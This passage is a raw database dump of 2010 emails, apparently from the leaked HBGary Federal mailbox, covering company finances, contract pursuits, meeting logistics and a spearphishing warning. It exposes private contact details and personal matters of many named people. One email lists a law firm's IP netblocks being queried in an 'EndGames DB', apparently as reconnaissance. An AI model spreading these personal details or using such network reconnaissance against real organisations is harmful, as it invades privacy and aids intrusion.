Leavy-Hoglund wrote:OK, I can call you tomorrow.&nbsp; I know we just paid for some work you did for us and that more funding is supposed to hit.&nbsp; I also thought Ted had one year of a buffer, at least I was told he told Greg that.&nbsp;&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, June 28, 2010 6:17 PMTo:&nbsp;Penny Leavy-HoglundSubject:&nbsp;Re: Executive Biz&nbsp;Hey Penny,&nbsp;Right we agreed to split it. &nbsp;We have not paid any portion yet though, so if you could pay it and deduct from our balance.&nbsp;I am getting a little worried. &nbsp;August things start to pick up but between now and then things are just really tight and we keep falling a little bit further behind. &nbsp;This Friday is payday and we have enough to cover Mark but not Ted or Myself again. &nbsp;That is two paychecks down and about $10K in travel and computing expenses for me that I haven\'t been able to submit yet.&nbsp;I really need to have a conversation with you about where we are and get your perspective. &nbsp;I think its the last dry spot, but I am completely spent and don\'t have anything personally left to stretch and I think Ted is in the same boat.&nbsp;Aaron&nbsp;&nbsp;On Jun 28, 2010, at 8:41 PM, Penny Leavy-Hoglund wrote:This bill was for your membership.&nbsp; We were going to split it.&nbsp; Did you pay any portion or should I pay whole amount?&nbsp;Penny C. LeavyPresidentHBGary, Inc&nbsp;&nbsp;NOTICE –&nbsp;Any tax information or written tax advice contained herein (including attachments) is not intended to be and cannot be used by any taxpayer for the purpose of avoiding tax penalties that may be imposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to U.S. Treasury regulations governing tax practice.)&nbsp;This message and any attached files may contain information that is confidential and/or subject of legal privilege intended only for use by the intended recipient. If you are not the intended recipient or the person responsible for&nbsp;&nbsp; delivering the message to the intended recipient, be advised that you have received this message in error and that any dissemination, copying or use of this message or attachment is strictly&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2225,'aaron_hbgary_com/2225.html'),(7944,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006146.M916121P14101Q2799.eml','\"Ted Vera\" <ted@hbgary.com>','Company','King and spaulding\r\n\r\n\r\nSent from my iPad\r\n',875,'aaron_hbgary_com/875.html'),(7945,'2010-06-29','\"Pisani, Albert A. (TASC)\" <albert.pisani@TASC.COM>','/aaron@hbgary.com/new/1297006147.M120378P14101Q2800.eml','aaron@hbgary.com,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>,\"Heider, Raymond A (TASC)\" <raymond.heider@TASC.COM>','Re: Fwd: COIN','\r\nTed:Thanks - always good to keep up the customer conversations . Al\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Pisani, Albert A. (TASC); Clair, Chris (TASC); Garcia, Kathy (TASC); Heider, Raymond A (TASC)Sent: Mon Jun 28 16:58:24 2010Subject: Fwd: COIN\r\nFYI on COIN.From my iPhoneBegin forwarded message:From: Ted Vera &lt;ted@hbgary.com&gt;\r\nDate: June 28, 2010 5:47:53 PM EDTTo: Barr Aaron &lt;aaron@hbgary.com&gt;Cc: mark@hbgary.com\r\nSubject: COINI just got off the phone with COIN COTR, Rich.  He was very friendlyand talkative.  We chatted for about 10 mins, and spent most of the\r\ntime talking about personal things, progress on my doctorate (whichhe&#39;s very interested in, having a PHD himself).He mentioned that he can&#39;t go into any specific procurement details\r\nbecause he just signed a pre-solicitation &quot;gag order&quot; a few days ago.But he did offer that they are currently still working on the RFP.  Hesaid they are way behind the power-curve and doesn&#39;t think it will be\r\nreleased until Sept or Oct realistically.I mentioned that I &quot;understood&quot; that NG was given a six monthextension (from March 4, 2010 till Sept 4, 2010).  So if the RFP isn&#39;t\r\nexpected to be out until then, I imagine that they will likely give NGanother extension.  He said if the dates I mentioned are correct, thenthat would most likely be the case.\r\nTed-- Ted H. VeraPresident | COOHBGary Federal719-237-8623\r\n',1211,'aaron_hbgary_com/1211.html'),(7946,'2010-06-29','\"kevin youngblood\" <katnkevin2001@yahoo.com>','/aaron@hbgary.com/new/1297006147.M332310P14101Q2801.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I\'m at @cinemadraft in Arlington, VA...','Aaron,\r\n&nbsp;\r\n&nbsp; Sounds good.&nbsp; Best of luck with the new businss endeavour!&nbsp; Our home is in Crofton so it\'s just around the corner via the Beltway.\r\nRegards,\r\nKevin--- On Mon, 6/28/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: RE: I\'m at @cinemadraft in Arlington, VA...To: \"Kevin Youngblood\" &lt;katnkevin2001@yahoo.com&gt;Date: Monday, June 28, 2010, 10:23 AM\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 6/28/2010 \r\nSubject: RE: I\'m at @cinemadraft in Arlington, VA... \r\nHard to say whether the last change was a promotion or not. :) I am running my own computer security services company, which is great, but we are small, just starting out. Lots of potential and good market. We live in Mclean, VA, just outside of DC. We will be here for at least the next 2+ years. Let me know when you get settled in town we will definitely have to get together. Aaron On 06/25/10 3:12 PM, Kevin Youngblood wrote: -------------------- Aaron, Not sure about all the job changes but from this angle it has looked like you just keep on promoting! I can sympathize with the desire to steer clear of vtc\'s and \"selling the product\". I previously had a \"staff\" tour and knew I wasn\'t interested in another, rather be driving the product behind the scenes. Where are you guys located these days?? Kat, I and the boys are headed back to the beltway area in a couple of\r\n months, we have enjoyed Japan but miss our Maryland home...Kat will soon be looking to transition and I am just taking the tours \"one at a time\" now...when I don\'t like it anymore, I\'ll leave but I still enjoy it right now. PS - I\'ve got alot more \"distinguishing\" features than I had the last time you saw me! Enjoy your weekend! Kevin On 06/24/10 6:40 AM, Aaron Barr wrote: -------------------- Hey Kevin, It is a \"touch\" of grey. I hear it makes you look distinguished, I think thats a nice word for old. But I\'ll accept distinguished. How are you doing? It was an odd day when I passed what would have been my 20 year mark. I am happy to not have to wear a suite and tie every day. I am with a small company now, so really my choice thankfully. I really enjoy the days with no customer meetings. Aaron On 06/22/10 2:48 AM, Kevin Youngblood wrote: -------------------- Nice\r\n suite and tie...is that a touch of grey around the edges?? - Kevin Aaron posted: I\'m at @cinemadraft in Arlington, VA http://gowal.la/r/9neR \r\nView/reply to this message\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n© 2010, LinkedIn Corporation\r\n\r\n',16216,'aaron_hbgary_com/16216.html'),(7947,'2010-06-29','\"Bailey, Don\" <dbailey@BlackbirdTech.com>','/aaron@hbgary.com/new/1297006147.M552566P14101Q2802.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>','FW: HBGary Federal','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Friday, July 02, 2010 10:30 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere: Jimmy Dunn\'s Office\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n_____________________________________________\r\nFrom:&nbsp;&nbsp;&nbsp; Bailey, Don&nbsp; \r\nSent:&nbsp;&nbsp; Monday, June 28, 2010 5:40 PM\r\nTo:&nbsp;&nbsp;&nbsp;&nbsp; Dunne, Jim; Pann, Steve; Hopkins, Scott\r\nCc:&nbsp;&nbsp;&nbsp;&nbsp; Kerrigan, Jack\r\nSubject:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HBGary Federal\r\nWhen:&nbsp;&nbsp; Friday, July 02, 2010 10:30 AM-11:00 AM (GMT-05:00) Eastern Time (US &amp; Canada).\r\nWhere:&nbsp; Jimmy Dunn\'s Office\r\n&nbsp;\r\nAaron Barr - CEO HBGary Federal wants to discuss possible partnership involving attribution-mamaged network support from us.&nbsp; He may also want to discuss COIN.\r\n&nbsp;\r\nIn addition to those topics, he wants to seek our help/assistance in getting in touch with Google at the exec level.\r\n&nbsp;\r\n\r\n\r\n\r\n',16771,'aaron_hbgary_com/16771.html'),(7948,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006147.M815145P14101Q2803.eml','\"Bob Slapnik\" <bob@hbgary.com>','Darpa','Are u coming today?\r\n\r\nFrom my iPhone\r\n',6364,'aaron_hbgary_com/6364.html'),(7949,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006148.M327764P14101Q2805.eml','\"Dave (TASC) Lirette\" <David.P.Lirette@TASC.COM>','If you haven\'t already seen it','Watch a movie called 180 degrees south.\r\n\r\nGood documentary.\r\n\r\nGive me a call when your free.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13675,'aaron_hbgary_com/13675.html'),(7950,'2010-06-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006148.M50107P14101Q2804.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Darpa','Aaron,\r\n\r\nOK if you go without me?  I don\'t expect to ever submit another DARPA\r\nproposal so there probably isn\'t anything I could learn that you won\'t find\r\nout.\r\n\r\nIf I were there, here is what I would say or ask......\r\n\r\nDid they give any awards or will they be giving awards for #3?\r\n\r\nHBGary has 20+ years developing binary reverse engineering tools which\r\nresulted in commercial products.  Given this type of history was it a mark\r\nagainst us to build on existing technology?\r\n\r\nHow should a company with pre-existing technology and product approach a\r\nDARPA proposal?\r\n\r\nIn our proposal we were actually afraid of overtly describing existing\r\ntechnology.  Should we have been more clear about what we already have?  The\r\nidea would have been to then clearly show where the old technology left off\r\nand where the new innovations began.\r\n\r\nBottom line...... Given our technology and product history, did HBGary have\r\na snowballs\'s chance to win?  What did we do wrong and what did they want to\r\nsee?\r\n\r\nBob \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 29, 2010 8:46 AM\r\nTo: Bob Slapnik\r\nSubject: Darpa\r\n\r\nAre u coming today?\r\n\r\nFrom my iPhone\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/28/10\r\n14:35:00\r\n\r\n',11664,'aaron_hbgary_com/11664.html'),(7951,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006148.M543593P14101Q2806.eml','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','Re: Meeting','Hey Scott,\r\n\r\nPrep is easy.  We will want to discuss your capabilities to develop and deploy mobile applications and services to meet customer requirements.  Any information that demonstrates your knowledge, experience, and expertise.  Marketing and advertising and knowledge of international markets as well.\r\n\r\nAny questions?\r\n\r\nAaron\r\n\r\nOn Jun 24, 2010, at 5:41 PM, Scott Suhy wrote:\r\n\r\n> Even better.  Send me anything you have to prep.\r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 24, 2010 5:37 PM\r\n> To: Scott Suhy\r\n> Subject: Re: Meeting\r\n> \r\n> Slight change.  Can we meet at your place at 1pm?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Jun 24, 2010, at 5:24 PM, Scott Suhy \r\n> wrote:\r\n> \r\n>> I have random house at 4pm but can move any other meeting I have\r\n>> that day.\r\n>> What time should I be there and where is the location.  I look\r\n>> forward to\r\n>> the meeting.\r\n>> \r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n>> skype:scott.suhy\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, June 24, 2010 1:39 PM\r\n>> To: Scott Suhy\r\n>> Subject: Re: Meeting\r\n>> \r\n>> How does wednesday work?\r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jun 23, 2010, at 4:39 PM, Scott Suhy \r\n>> wrote:\r\n>> \r\n>>> Yes, what day?\r\n>>> \r\n>>> ____________________________________________________\r\n>>> Scott B. Suhy\r\n>>> CEO, PointAbout Inc.\r\n>>> Cell: 202.557.6937\r\n>>> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n>>> skype:scott.suhy\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, June 23, 2010 2:49 PM\r\n>>> To: Scott Suhy\r\n>>> Subject: Meeting\r\n>>> \r\n>>> Hi Scott,\r\n>>> \r\n>>> Do you have some time to meet with the Prime next week for the\r\n>>> opportunity\r\n>> I\r\n>>> was discussing.  The meeting would be in Chantilly.  We would like to\r\n>> bring\r\n>>> PointAbout on the team.  As I mentioned its a $35-60M multi-year\r\n>>> new media\r\n>>> development effort.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> No virus found in this incoming message.\r\n>>> Checked by AVG - www.avg.com\r\n>>> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date:\r\n>>> 06/23/10\r\n>>> 02:36:00\r\n>>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com\r\n>> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date:\r\n>> 06/24/10\r\n>> 02:35:00\r\n>> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date: 06/24/10\r\n> 14:35:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',12201,'aaron_hbgary_com/12201.html'),(7952,'2010-06-29','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297006148.M770522P14101Q2807.eml','aaron@hbgary.com','Meet w/ Bob in SCIF','\r\n\r\n\r\n\r\n\r\nMeet w/ Bob in SCIF\r\n\r\n\r\n\r\n\r\nWhen: Wednesday, July 07, 2010 3:30 PM-4:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: Falls Church SCIF\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\n\r\n\r\n\r\n',4871,'aaron_hbgary_com/4871.html'),(7953,'2010-06-29','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297006148.M982949P14101Q2808.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Meeting','Ok.\r\n\r\nOur capabilities deck: http://link.PointAbout.com/capabilities \r\nOur whitepaper on our mobile strategy & dev process:\r\nhttp://link.PointAbout.com/whitepaper \r\n\r\nAlso, we made a slide on what the mobile landscape looks like.  It\'s proven\r\nto be  very a powerful way to explain mobile to those who don\'t live it\r\nevery day like we do.  You\'re welcome to use it if you find it useful when\r\nexplaining mobile within your organization; there\'s a PDF & PPT link below\r\nthe image you can grab: http://link.Pointabout.com/pyramid \r\n\r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 29, 2010 9:01 AM\r\nTo: Scott Suhy\r\nSubject: Re: Meeting\r\n\r\nHey Scott,\r\n\r\nPrep is easy.  We will want to discuss your capabilities to develop and\r\ndeploy mobile applications and services to meet customer requirements.  Any\r\ninformation that demonstrates your knowledge, experience, and expertise.\r\nMarketing and advertising and knowledge of international markets as well.\r\n\r\nAny questions?\r\n\r\nAaron\r\n\r\nOn Jun 24, 2010, at 5:41 PM, Scott Suhy wrote:\r\n\r\n> Even better.  Send me anything you have to prep.\r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, June 24, 2010 5:37 PM\r\n> To: Scott Suhy\r\n> Subject: Re: Meeting\r\n> \r\n> Slight change.  Can we meet at your place at 1pm?\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n> \r\n> On Jun 24, 2010, at 5:24 PM, Scott Suhy \r\n> wrote:\r\n> \r\n>> I have random house at 4pm but can move any other meeting I have\r\n>> that day.\r\n>> What time should I be there and where is the location.  I look\r\n>> forward to\r\n>> the meeting.\r\n>> \r\n>> ____________________________________________________\r\n>> Scott B. Suhy\r\n>> CEO, PointAbout Inc.\r\n>> Cell: 202.557.6937\r\n>> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n>> skype:scott.suhy\r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Thursday, June 24, 2010 1:39 PM\r\n>> To: Scott Suhy\r\n>> Subject: Re: Meeting\r\n>> \r\n>> How does wednesday work?\r\n>> Aaron\r\n>> \r\n>> Sent from my iPad\r\n>> \r\n>> On Jun 23, 2010, at 4:39 PM, Scott Suhy \r\n>> wrote:\r\n>> \r\n>>> Yes, what day?\r\n>>> \r\n>>> ____________________________________________________\r\n>>> Scott B. Suhy\r\n>>> CEO, PointAbout Inc.\r\n>>> Cell: 202.557.6937\r\n>>> 1410 Q street NW Washington, DC 20009 (http://1410q.com)\r\n>>> skype:scott.suhy\r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, June 23, 2010 2:49 PM\r\n>>> To: Scott Suhy\r\n>>> Subject: Meeting\r\n>>> \r\n>>> Hi Scott,\r\n>>> \r\n>>> Do you have some time to meet with the Prime next week for the\r\n>>> opportunity\r\n>> I\r\n>>> was discussing.  The meeting would be in Chantilly.  We would like to\r\n>> bring\r\n>>> PointAbout on the team.  As I mentioned its a $35-60M multi-year\r\n>>> new media\r\n>>> development effort.\r\n>>> \r\n>>> Aaron Barr\r\n>>> CEO\r\n>>> HBGary Federal Inc.\r\n>>> \r\n>>> \r\n>>> No virus found in this incoming message.\r\n>>> Checked by AVG - www.avg.com\r\n>>> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date:\r\n>>> 06/23/10\r\n>>> 02:36:00\r\n>>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com\r\n>> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date:\r\n>> 06/24/10\r\n>> 02:35:00\r\n>> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.829 / Virus Database: 271.1.1/2957 - Release Date: 06/24/10\r\n> 14:35:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.830 / Virus Database: 271.1.1/2969 - Release Date: 06/29/10\r\n02:35:00\r\n\r\n',4933,'aaron_hbgary_com/4933.html'),(7954,'2010-06-29','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297006149.M204107P14101Q2809.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: COIN Discussions with PointAbout','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REPLY\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;PARTSTAT=ACCEPTED:mailto:scott.suhy@pointabout.com\r\nCLASS:PUBLIC\r\nCOMMENT:\\n\r\nCREATED:20100629T132805Z\r\nDESCRIPTION:\\n\r\nDTEND:20100630T180000Z\r\nDTSTAMP:20100629T132805Z\r\nDTSTART:20100630T170000Z\r\nLAST-MODIFIED:20100629T132805Z\r\nLOCATION:1410 Q St. Washington DC\r\nPRIORITY:5\r\nSEQUENCE:11\r\nSUMMARY;LANGUAGE=en-us:Accepted: COIN Discussions with PointAbout\r\nTRANSP:OPAQUE\r\nUID:40FFA349-757A-44EA-A5FC-B55268E5D8A7\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:BUSY\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MS-OLK-AUTOFILLLOCATION:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',13215,'aaron_hbgary_com/13215.html'),(7955,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006149.M409482P14101Q2810.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Darpa','yeah I hear ya.\r\n\r\nAaron\r\n\r\nOn Jun 29, 2010, at 8:55 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> OK if you go without me?  I don\'t expect to ever submit another DARPA\r\n> proposal so there probably isn\'t anything I could learn that you won\'t find\r\n> out.\r\n> \r\n> If I were there, here is what I would say or ask......\r\n> \r\n> Did they give any awards or will they be giving awards for #3?\r\n> \r\n> HBGary has 20+ years developing binary reverse engineering tools which\r\n> resulted in commercial products.  Given this type of history was it a mark\r\n> against us to build on existing technology?\r\n> \r\n> How should a company with pre-existing technology and product approach a\r\n> DARPA proposal?\r\n> \r\n> In our proposal we were actually afraid of overtly describing existing\r\n> technology.  Should we have been more clear about what we already have?  The\r\n> idea would have been to then clearly show where the old technology left off\r\n> and where the new innovations began.\r\n> \r\n> Bottom line...... Given our technology and product history, did HBGary have\r\n> a snowballs\'s chance to win?  What did we do wrong and what did they want to\r\n> see?\r\n> \r\n> Bob \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Tuesday, June 29, 2010 8:46 AM\r\n> To: Bob Slapnik\r\n> Subject: Darpa\r\n> \r\n> Are u coming today?\r\n> \r\n> From my iPhone\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/28/10\r\n> 14:35:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',2406,'aaron_hbgary_com/2406.html'),(7956,'2010-06-29','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','/aaron@hbgary.com/new/1297006149.M638449P14101Q2811.eml','\"Aaron Barr\" <aaron@hbgary.com>','Declined: Invitation: Mantech Discussions @ Wed Jul 7 2pm - 3pm (eric.eifert@mantech.com)','\r\n\r\n\r\n\r\n\r\nDeclined: Invitation: Mantech Discussions @ Wed Jul 7 2pm - 3pm (eric.eifert@mantech.com)\r\n\r\n\r\n\r\n\r\nEric will be out of town on this day, and unable to attend. Since I am new to the organization,can you please clarify the purpose of your meeting in case Eric asks me.&nbsp;&nbsp; Thank you.\r\n\r\nGreta Trayfors\r\n\r\nEA to Eric Eiffert\r\n\r\nCyber Defense Solutions\r\n\r\n(703) 388-2123\r\n\r\n\r\n',1438,'aaron_hbgary_com/1438.html'),(7957,'2010-06-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006149.M888637P14101Q2812.eml','\"Eifert, Eric J.\" <Eric.Eifert@ManTech.com>','Re: Declined: Invitation: Mantech Discussions @ Wed Jul 7 2pm - 3pm (eric.eifert@mantech.com)','Sure.Eric and I were working on a time to discuss HBGary Federal capabilities. &nbsp;The last Eric and I discussed was getting together on the 7th at 2pm. &nbsp;Can you suggest an available date?AaronOn Jun 29, 2010, at 9:38 AM, Eifert, Eric J. wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEric will be out of town on this day, and unable to attend. Since I am new to the organization,can you please clarify the purpose of your meeting in case Eric asks me.&nbsp;&nbsp; Thank you.Greta TrayforsEA to Eric EiffertCyber Defense Solutions(703) 388-2123\r\n\r\n\r\n&lt;meeting.ics&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7788,'aaron_hbgary_com/7788.html'),(7958,'2010-06-29','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297006150.M104343P14101Q2813.eml','\"Aaron Barr\" <aaron@hbgary.com>','Accepted: Invitation: COIN Discussions with PointAbout @ Wed Jun 30 1pm - 2pm (christopher.clair@tasc.com)','\r\n\r\n\r\n\r\n\r\nAccepted: Invitation: COIN Discussions with PointAbout @ Wed Jun 30 1pm - 2pm (christopher.clair@tasc.com)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3001,'aaron_hbgary_com/3001.html'),(7959,'2010-06-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006150.M358921P14101Q2814.eml','all@hbgary.com','Spearphising continues',' \r\nAll,\r\n \r\nI got another spearphising email 3 hours ago.  Don&#39;t click them.  This time it was regarding changes made to email settings.\r\n \r\n-Greg\r\n \r\n \r\n',7619,'aaron_hbgary_com/7619.html'),(7960,'2010-06-29','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297006150.M649348P14101Q2815.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: HBGary follow up','Hi Aaron,I received this message yesterday - can I consider our relationship with HBGary Federal to apply to HBGary Inc as well?Best wishes,Arnav\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engagedWorld Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.Consider the environment. Please don\'t print this e-mail unless you really need to.\r\n\r\nBegin forwarded message:From: Maria Lucas &lt;maria@hbgary.com&gt;Date: June 28, 2010 6:26:39 PM EDTTo: a.manchanda@secdev.caSubject: HBGary follow upHi\r\n&nbsp;\r\nBob Slapnick mentioned that you were intersted in partnering with HBGary.&nbsp; May I help you?\r\n&nbsp;\r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n\r\n',9853,'aaron_hbgary_com/9853.html'),(7961,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006150.M940692P14101Q2816.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','King & Spalding','These are the netblocks I&#39;m querying in the EndGames DB this morning for King &amp; Spalding:\r\nKing &amp; Spalding, LLP\r\nWebserver (Rackspace) 207.97.215.136\r\nKing &amp; Spalding (KINGSP) \r\nKing &amp; Spalding FON-1101159808100285 (NET-65-162-93-128-1) 65.162.93.128 - 65.162.93.159\r\nKing &amp; Spalding PNAP-HOU-KPAL-RM-01 (NET-66-151-72-192-1) 66.151.72.192 - 66.151.72.223\r\nKing &amp; Spalding PNAP-NYC-KPAL-RM-01 (NET-64-74-55-32-1) 64.74.55.32 - 64.74.55.63\r\nKing &amp; Spalding PNAP-WDC-KPAL-RM-01 (NET-216-52-121-160-1) 216.52.121.160 - 216.52.121.191\r\nKing &amp; Spalding PNAP-ACS-KPAL-RM-01 (NET-216-52-196-0-1) 216.52.196.0 - 216.52.196.127\r\nKing &amp; Spalding INAP-ACS-KINGSPALACS-9257 (NET-64-94-228-192-1) 64.94.228.192 - 64.94.228.223\r\nKing &amp; Spalding QTS-165-64-26 (NET-64-88-165-64-1) 64.88.165.64 - 64.88.165.127\r\n\r\nTed\r\n',4945,'aaron_hbgary_com/4945.html'),(7962,'2010-06-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006151.M581864P14101Q2817.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Copies of invoices','See attached:  The B&amp;P was only about $3K and it has an entry next to it that looks like a lawfirm.  I&#39;m not quite sure what it is to be honest...Ted\r\n---------- Forwarded message ----------From: Ted Vera &lt;ted@hbgary.com&gt;Date: Thu, Jun 3, 2010 at 9:40 AMSubject: Fwd: Copies of invoices\r\nTo: Barr Aaron &lt;aaron@hbgary.com&gt;---------- Forwarded message ----------\r\nFrom: John L. Cox, CPA &lt;johncoxcpa@verizon.net&gt;\r\nDate: Thu, Jun 3, 2010 at 9:31 AM\r\nSubject: Copies of invoices\r\nTo: DeeAnn Buonaccorsi &lt;deeann@hbgary.com&gt;\r\nCc: Ted Vera &lt;ted@hbgary.com&gt;, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt;\r\n\r\n\r\nHi 